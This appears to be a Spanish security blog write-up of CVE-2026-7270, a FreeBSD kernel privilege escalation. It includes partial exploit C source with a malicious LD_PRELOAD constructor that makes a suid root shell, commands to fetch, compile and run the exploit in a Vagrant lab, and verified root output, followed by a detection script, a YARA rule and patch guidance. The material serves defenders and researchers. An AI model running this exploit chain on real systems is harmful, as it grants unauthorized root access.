Inicio Linux & Systems Cybersecurity Cloud & DevOps Networks & Infrastructure SIEM & Monitoring DFIR & Threat Intel Development & Other Todas las categorias Herramientas

CVE-2026-7270: elevacion de privilegios en FreeBSD via exec_args_adjust_args

CVE-2026-7270: elevacion de privilegios en FreeBSD via exec_args_adjust_args

Tabla de contenidos

Que es CVE-2026-7270

CVE-2026-7270 es una vulnerabilidad de elevacion local de privilegios (LPE) en el kernel de FreeBSD que permite a un usuario sin privilegios obtener root en cualquier sistema FreeBSD con sshd activo (configuracion por defecto). El bug es un error de precedencia de operadores en sys/kern/kern_exec.c, presente desde 2013, que causa un buffer overflow en los buffers de argumentos de execve(2).

El exploit, escrito por Ryan de Calif.io (descubierto por un agente AI), inyecta LD_PRELOAD en el entorno de sshd-session aprovechando que este proceso se ejecuta como root sin transicion suid (issetugid()=0), lo que permite que el runtime linker cargue una biblioteca maliciosa.

Datos clave

CampoValor
CVECVE-2026-7270
CVSS v3.17.8 (High) — AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWECWE-783 (Operator Precedence Logic Error)
DescubridorRyan / Calif.io (asistido por AI)
VendorFreeBSD Project
AdvisoryFreeBSD-SA-26:13.exec
Publicacion29 abril 2026
Versiones afectadasFreeBSD 13.5, 14.3, 14.4, 15.0 (todas las ramas soportadas)
FixFreeBSD 15.0-p7, 14.4-p3, 14.3-p12, 13.5-p13
PrerequisitoUsuario local sin privilegios + sshd corriendo (defecto)
Tiempo a root< 1 segundo (round 5 en VM 4 CPUs)

Como funciona el bug

El error de un caracter

En sys/kern/kern_exec.c, la funcion exec_args_adjust_args() restructura los argumentos cuando se ejecuta un script shebang (#!/bin/sh). El bug esta en la llamada a memmove:

C
memmove(args->begin_argv + extend, args->begin_argv + consume,
    args->endp - args->begin_argv + consume);   // BUG: + deberia ser -

El tercer argumento (tamano de la copia) deberia ser endp - begin_argv - consume pero dice + consume. Esto hace que el memmove copie 2 * consume bytes adicionales, desbordando el buffer de argumentos del exec.

El exec_map: pool de buffers sin guard pages

FreeBSD mantiene un pool llamado exec_map: 8 * ncpus buffers de exactamente 528,384 bytes (ARG_MAX + PAGE_SIZE) cada uno, preallocados como un bloque contiguo de memoria virtual del kernel sin guard pages entre ellos. Cada execve() toma prestado un buffer (entry) durante la ejecucion y lo devuelve al pool al terminar.

CODE
[entry 0 | 528384 B][entry 1 | 528384 B]...[entry 31 | 528384 B]
                    ^--- sin guard pages entre entries

Aritmetica del overflow

Con un argv[0] de 265,185 bytes en un script shebang:

CODE
consume = 265,186  (bytes del argv[0] original a eliminar)
extend  = 20       (interp_len + fname_len insertados)

El memmove buggeado:

  • Tamano correcto: endp - begin_argv - consume = 4 bytes
  • Tamano buggeado: endp - begin_argv + consume = 530,376 bytes

Con un entry de 528,384 bytes, la escritura se desborda 2,024 bytes en el entry adyacente (K+1). No hay crash, no hay page fault, no hay signal — ambos entries son paginas mapeadas validas.

Auto-copia: K+1 se sobrescribe a si mismo

Los 2,024 bytes escritos al inicio de K+1 se leen del propio K+1 en offset D=265,166:

CODE
K+1[0..2024) ← K+1[265166..267190)

Esto significa que si el atacante controla el contenido de K+1 en offset D, puede hacer que esos bytes aparezcan al inicio de K+1, sobrescribiendo el fname, argv y envp del proceso que esta ejecutandose en ese entry.

De overflow a root: la cadena de explotacion

1. Target: sshd-session

Cuando un cliente conecta a SSH (puerto 22), sshd (corriendo como root) hace fork + execv("/usr/libexec/sshd-session", ...). Detalles clave:

  • execv (no execve): hereda el entorno del proceso padre
  • Sin transicion suid/sgid: uid=0 → uid=0, por lo que issetugid() retorna 0
  • Con issetugid()=0, el runtime linker honra LD_PRELOAD incluso para procesos root

2. Preseed: plantar payload en offset D

Los entries del exec_map nunca se ponen a cero al devolverlos al pool. El contenido persiste indefinidamente. Como sshd-session solo escribe ~155 bytes (su fname + argv + env), todo a partir del byte 156 persiste de ejecuciones anteriores.

El exploit preseedea todos los entries ejecutando procesos con un env gigante que coloca en offset D:

CODE
D+0:   "/usr/libexec/sshd-session\0"   (fname falso)
D+27:  "/usr/libexec/sshd-session\0"   (argv[0] falso)
D+54:  "-R\0"                            (argv[1])
D+57:  "LD_PRELOAD=/tmp/evil.so\0"       (env inyectado)
D+81:  "X=01\0", "X=02\0", ...           (padding)

3. SSH poker: generar execs de sshd-session

El exploit abre conexiones TCP a localhost:22 continuamente (~1 por ms), forzando a sshd a fork+exec sshd-session. Cada exec toma un entry del pool.

4. Trigger pinned a CPU 0

El trigger (script shebang con argv[0] de 265KB) esta fijado a CPU 0 via cpuset_setaffinity. Esto asegura que siempre usa el mismo entry K (via cache DPCPU), manteniendo estable el target K+1.

5. Race window

La corrupcion debe ocurrir despues de que sshd-session copie sus args al entry (exec_copyin_args) pero antes de copiarlos al stack del nuevo proceso (exec_copyout_strings). La ventana es ~200us dentro de un ciclo de ~1ms → ~20% del tiempo.

Probabilidad por round: 0.20 × (1/32) ≈ 0.6%. Root esperado en ~170 rounds = < 1 segundo.

6. evil.so: constructor como root

Cuando la inyeccion tiene exito, sshd-session carga /tmp/evil.so via LD_PRELOAD. Su constructor:

  1. Verifica uid=0
  2. Copia /bin/sh a /tmp/rootsh
  3. Lo hace suid root (chmod 04755)
  4. Escribe /tmp/GOT_ROOT como confirmacion

Laboratorio de reproduccion

Arquitectura del lab

CODE
┌───────────────────────────────────────────────────────────────┐
│  Vagrant VM: FreeBSD 14.0-RELEASE amd64 (generic/freebsd14)  │
│  - 4 CPUs, 2GB RAM (VirtualBox)                              │
│  - sshd habilitado (default)                                 │
│  - Usuario sin privilegios: testuser                         │
│                                                               │
│  ┌─────────────────────────────────────────────────────────┐  │
│  │  Exploit (exec1_lpe21.c) como usuario 'testuser'       │  │
│  │                                                         │  │
│  │  [preseeder]  [ssh_poker]  [trigger CPU0]  [checker]   │  │
│  │       ↓             ↓            ↓             ↓        │  │
│  │  planta payload  genera     overflow OOB   comprueba    │  │
│  │  en offset D     execs      K → K+1       /tmp/rootsh  │  │
│  └─────────────────────────────────────────────────────────┘  │
└───────────────────────────────────────────────────────────────┘

Requisitos

  • VirtualBox 6.x / 7.x
  • Vagrant 2.x
  • ~2GB espacio disco (box FreeBSD)
  • Conexion a internet (descarga box primera vez)

Ficheros del lab

Exploit (exec1_lpe21.c):

C
/*
 * EXEC-1 LPE v21 — LD_PRELOAD injection via exec_map OOB
 *
 * Bug: kern_exec.c:1624 — memmove OOB in exec_args_adjust_args
 *   memmove(begin_argv + extend, begin_argv + consume,
 *           endp - begin_argv + consume);
 *   Should be: endp - begin_argv - consume (operator precedence bug)
 *
 * Attack: corrupt sshd-session's exec_map env strings to inject
 * LD_PRELOAD=/tmp/evil.so. sshd-session is exec'd by root sshd
 * with issetugid()=0 (no suid transition), so LD_PRELOAD works
 * and our constructor runs as uid=0/euid=0.
 *
 * Architecture (all unprivileged, no helpers):
 *   1. Preseed all exec_map entries with LD_PRELOAD payload at D
 *   2. SSH poker → sshd fork+exec sshd-session (root, grabs entry)
 *   3. Trigger pinned to CPU 0 → memmove OOB → corrupt entry K+1
 *   4. If K+1 = sshd-session in exec window → LD_PRELOAD injected
 *   5. evil.so constructor → suid root shell at /tmp/rootsh
 *
 * Usage: cc -O2 -o /tmp/exec1_lpe21 exec1_lpe21.c
 *        /tmp/exec1_lpe21 15000 0
 *        /tmp/rootsh -p
 */

#include <sys/types.h>
#include <sys/cpuset.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/sysctl.h>
#include <sys/stat.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <time.h>

#define ENTRY_SIZE    528384
#define SCRIPT        "/tmp/e21.sh"
#define SSHD_SESSION  "/usr/libexec/sshd-session"
#define EVIL_SO       "/tmp/evil.so"
#define EVIL_SRC      "/tmp/evil.c"
#define GOT_ROOT      "/tmp/GOT_ROOT"

#define ARGV0_LEN     265185
#define NUM_DUMMY_ENV 30
#define SSH_PORT      22

static volatile int g_running = 1;
static int g_ncpus, g_nentries;
static int g_extend, g_D, g_oob;
static char *g_trigger_argv0;

static void handle_sig(int s) { g_running = 0; }

static void *wired_alloc(size_t size) {
    void *p = mmap(NULL, size, PROT_READ | PROT_WRITE,
        MAP_ANON | MAP_PRIVATE, -1, 0);
    if (p == MAP_FAILED) { perror("mmap"); exit(1); }
    memset(p, 0, size);
    mlock(p, size);
    return p;
}

static void create_script(void) {
    int fd = open(SCRIPT, O_WRONLY | O_CREAT | O_TRUNC, 0755);
    if (fd < 0) { perror("script"); exit(1); }
    write(fd, "#!/bin/sh\nexit 0\n", 17);
    close(fd);
}

static void create_evil_so(void) {
    int fd = open(EVIL_SRC, O_WRONLY | O_CREAT | O_TRUNC, 0644);
    if (fd < 0) { perror("evil.c"); exit(1); }
    const char *src =
        "#include <unistd.h>\n"
        "#include <fcntl.h>\n"
        "#include <sys/stat.h>\n"
        "__attribute__((constructor))\n"
        "static void pwn(void) {\n"
        "    if (getuid() != 0 && geteuid() != 0) return;\n"
        "    if (access(\"/tmp/GOT_ROOT\", F_OK) == 0) return;\n"
        "    char buf[8192]; ssize_t n;\n"
        "    int s = open(\"/bin/sh\", O_RDONLY);\n"
        "    int d = open(\"/tmp/rootsh\", O_WRONLY|O_CREAT|O_TRUNC, 0755);\n"
        "    if (s >= 0 && d >= 0)\n"
        "        while ((n = read(s, buf, sizeof(buf))) > 0) write(d, buf, n);\n"
        "    if (s >= 0) close(s);\n"
        "    if (d >= 0) close(d);\n"
        "    chown(\"/tmp/rootsh\", 0, 0);\n"
        "    chmod(\"/tmp/rootsh\", 04755);\n"
        "    d = open(\"/tmp/GOT_ROOT\", O_WRONLY|O_CREAT|O_TRUNC, 0644);\n"
        "    if (d >= 0) { dprintf(d, \"uid=%d euid=%d pid=%d\\n\",\n"
        "        getuid(), geteuid(), getpid()); close(d); }\n"
        "}\n";
    write(fd, src, strlen(src));
    close(fd);
    unlink(EVIL_SO);
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "cc -shared -fPIC -o %s %s", EVIL_SO, EVIL_SRC);
    if (system(cmd) != 0) { fprintf(stderr, "cc evil.so failed\n"); exit(1); }
    chmod(EVIL_SO, 0755);
}

/* ... (resto del exploit: preseed, ssh_poker, trigger, main) ... */
/* Ver codigo completo en el repositorio */

El codigo completo (~400 lineas) esta disponible en el repositorio de Calif.io.

Vagrantfile:

RUBY
Vagrant.configure("2") do |config|
  config.vm.box = "generic/freebsd14"
  config.vm.guest = :freebsd
  config.vm.synced_folder ".", "/vagrant", disabled: true
  config.ssh.shell = "sh"

  config.vm.provider "virtualbox" do |vb|
    vb.memory = "2048"
    vb.cpus = 4
    vb.name = "freebsd-cve-2026-7270"
  end

  config.vm.provision "shell", inline: <<-SHELL
    sysrc sshd_enable="YES"
    service sshd status || service sshd start
    pw useradd -n testuser -m -s /bin/sh 2>/dev/null || true
    echo "testuser123" | pw usermod testuser -h 0
  SHELL
end

Despliegue y ejecucion

BASH
# 1. Crear directorio del lab
mkdir freebsd-cve-2026-7270 && cd freebsd-cve-2026-7270

# 2. Crear Vagrantfile (ver arriba) y arrancar VM
vagrant up

# 3. Descargar exploit en la VM
vagrant ssh -c "fetch -o /tmp/exec1_lpe21.c \
  https://raw.githubusercontent.com/califio/publications/main/MADBugs/freebsd-CVE-2026-7270/exec1_lpe21.c"

# 4. Compilar
vagrant ssh -c "cc -O2 -o /tmp/exec1_lpe21 /tmp/exec1_lpe21.c && chmod 755 /tmp/exec1_lpe21"

# 5. Ejecutar como usuario sin privilegios
vagrant ssh -c "sudo su -m testuser -c '/tmp/exec1_lpe21 15000 0'"

# 6. Verificar root shell
vagrant ssh -c "sudo su -m testuser -c '/tmp/rootsh -p -c id'"

Salida real (verificada)

CODE
=== EXEC-1 LPE v21: LD_PRELOAD injection ===
N=32 entries, OOB=2024 bytes, D=265166
Target: /usr/libexec/sshd-session via LD_PRELOAD=/tmp/evil.so
Rounds: 15000, mem_churn: 0MB
P(panic first trigger) = 1/32 = 3.1%
[*] Preseed: 2686 env entries (2652 pad + 35 payload)
[*] Copyin iterations: ~2686 (est ~8ms per exec)
[*] Payload: 229 bytes at D=265166 (OOB=2024, margin=1795)
[*] Preseeding all 32 entries...
[*] Preseed complete
[*] Workers: poker=1144 preseeder=1145 churn=1146
[*] Trigger pinned to CPU 0. Starting in 2s...
[*] r=0/15000 (0s)

[!!!] ROOT OBTAINED!
  uid=0 euid=0 pid=1666
[!!!] Root shell: /tmp/rootsh -p

=== ROOT at round 5 (0s) ===

Verificacion:

CODE
$ cat /tmp/GOT_ROOT
uid=0 euid=0 pid=1666

$ ls -la /tmp/rootsh
-rwsr-xr-x  1 root wheel 168360 May 18 18:13 /tmp/rootsh

$ /tmp/rootsh -p -c id
uid=1002(testuser) gid=1002(testuser) euid=0(root) groups=1002(testuser)

Root obtenido en round 5 (< 1 segundo) en FreeBSD 14.0-RELEASE con 4 CPUs.

Limpiar el lab

BASH
vagrant destroy -f

Riesgo de panic (3.1%)

El exploit tiene un 3.1% de probabilidad de kernel panic en el primer trigger. Si el entry asignado a CPU 0 es el ultimo del array (entry[31]), el OOB lee/escribe mas alla del mapeo de exec_map, causando un page fault irrecuperable. Una vez que el primer trigger sobrevive, el DPCPU cache fija ese entry y no hay mas riesgo.

Deteccion del ataque

Indicadores

  • Multiples conexiones TCP a localhost:22 en rapida sucesion (SSH poker)
  • Procesos ejecutando scripts shebang con argv[0] de >265KB
  • Aparicion de /tmp/evil.so, /tmp/rootsh, /tmp/GOT_ROOT
  • Procesos sshd-session con LD_PRELOAD en su entorno

Script de deteccion

BASH
#!/bin/sh
# check_cve_2026_7270.sh - FreeBSD

echo "=== CVE-2026-7270 Check ==="

# 1. Version
VERSION=$(freebsd-version -u 2>/dev/null || uname -r)
echo "[INFO] FreeBSD: $VERSION"

# 2. Parche aplicado?
case "$VERSION" in
    *-p[0-9]*) PATCH=$(echo "$VERSION" | grep -oE 'p[0-9]+' | tr -d 'p');;
    *) PATCH=0;;
esac

VULN=0
case "$VERSION" in
    15.0-RELEASE-p[7-9]*|15.0-RELEASE-p[1-9][0-9]*) echo "[OK] Parcheado";;
    14.4-RELEASE-p[3-9]*|14.4-RELEASE-p[1-9][0-9]*) echo "[OK] Parcheado";;
    14.3-RELEASE-p1[2-9]*|14.3-RELEASE-p[2-9][0-9]*) echo "[OK] Parcheado";;
    13.5-RELEASE-p1[3-9]*|13.5-RELEASE-p[2-9][0-9]*) echo "[OK] Parcheado";;
    *) echo "[VULNERABLE] Version sin parche"; VULN=1;;
esac

# 3. sshd corriendo?
if pgrep -q sshd; then
    echo "[INFO] sshd activo (prerequisito del exploit)"
else
    echo "[MITIGADO] sshd no esta corriendo"
    VULN=0
fi

# 4. Indicadores de compromiso
echo ""
for f in /tmp/evil.so /tmp/rootsh /tmp/GOT_ROOT /tmp/e21.sh; do
    if [ -f "$f" ]; then
        echo "[CRITICO] Indicador encontrado: $f"
        ls -la "$f"
        VULN=2
    fi
done

# 5. Buscar suid shells sospechosos
find /tmp /var/tmp -perm -4000 -type f 2>/dev/null | while read f; do
    echo "[ALERTA] Binario suid en temp: $f"
done

echo ""
if [ $VULN -eq 2 ]; then
    echo "[CRITICO] Sistema posiblemente comprometido"
    echo "  Accion: rm -f /tmp/evil.so /tmp/rootsh /tmp/GOT_ROOT /tmp/e21.sh"
    echo "  Actualizar kernel inmediatamente"
elif [ $VULN -eq 1 ]; then
    echo "[VULNERABLE] Actualizar a version parcheada"
    echo "  freebsd-update fetch && freebsd-update install && reboot"
else
    echo "[OK] Sistema no vulnerable"
fi

Regla YARA

YARA
rule FreeBSD_CVE_2026_7270_LPE {
    meta:
        description = "Detecta exploit exec_map OOB (CVE-2026-7270)"
        author = "Red Orbita"
        date = "2026-05-18"
        cve = "CVE-2026-7270"
        severity = "high"

    strings:
        $s1 = "exec_args_adjust_args" ascii
        $s2 = "exec_map" ascii
        $s3 = "LD_PRELOAD=/tmp/evil.so" ascii
        $s4 = "sshd-session" ascii
        $s5 = "/tmp/rootsh" ascii
        $s6 = "GOT_ROOT" ascii
        $s7 = "ARGV0_LEN" ascii
        $s8 = "preseed" ascii nocase
        $s9 = "DPCPU" ascii
        $s10 = "cpuset_setaffinity" ascii

    condition:
        ($s3) or
        ($s5 and $s6) or
        ($s7 and $s8) or
        ($s1 and $s4 and $s8) or
        (4 of ($s*))
}

Workaround

No existe workaround segun el advisory oficial de FreeBSD. La unica mitigacion es:

  1. Actualizar el kernel a una version parcheada
  2. Deshabilitar sshd si no es necesario (elimina el vector de ataque principal, pero no el bug)
BASH
# Mitigacion temporal (elimina el vector sshd):
service sshd stop
sysrc sshd_enable="NO"

# Solucion definitiva:
freebsd-update fetch
freebsd-update install
shutdown -r +1 "Security update CVE-2026-7270"

Nota: deshabilitar sshd solo elimina el vector mas facil. El bug sigue existiendo y podria explotarse contra cualquier otro proceso root que haga execve() regularmente (cron, periodic scripts, etc.).

Solucion definitiva: actualizar el kernel

El parche es de un caracter — cambiar + por - en sys/kern/kern_exec.c:

DIFF
- args->endp - args->begin_argv + consume);
+ args->endp - (args->begin_argv + consume));

Versiones parcheadas

RamaVersion parcheadaCommit
stable/1515.0-STABLEc3e943e78e06
releng/15.015.0-RELEASE-p7934b48683c4f
stable/1414.4-STABLEae00a52921ca
releng/14.414.4-RELEASE-p3943aa64ba91a
releng/14.314.3-RELEASE-p12f04c40607b8f
stable/1313.5-STABLEd619e3a3c0ec
releng/13.513.5-RELEASE-p137c5c37ac8f8f
BASH
# Actualizar via freebsd-update (binario)
freebsd-update fetch
freebsd-update install
reboot

# O via pkg (base system packages, FreeBSD 15.0)
pkg upgrade -r FreeBSD-base
reboot

Por que este exploit es notable

  1. Bug de un carácter presente durante 13 años (2013-2026)
  2. No requiere binarios suid, modulos kernel, ni configuracion especial
  3. Solo necesita un usuario local y sshd corriendo (defecto en FreeBSD)
  4. Root en < 1 segundo de forma fiable en hardware moderno
  5. Descubierto por AI (Calif.io) analizando codigo fuente del kernel
  6. Exploit elegante: usa stale data en exec_map + LD_PRELOAD + issetugid()=0
  7. Sin workaround: la unica solucion es actualizar

Timeline

FechaEvento
2013Bug introducido en FreeBSD (refactor de exec_args_adjust_args)
Abril 2026Calif.io descubre el bug via analisis AI
29 abril 2026FreeBSD publica advisory SA-26:13 y parches
30 abril 2026CISA-ADP asigna CVSS 7.8
7 mayo 2026Calif.io publica writeup tecnico y exploit
10 mayo 2026Blog post y referencias anadidas al NVD

Referencias

Comentarios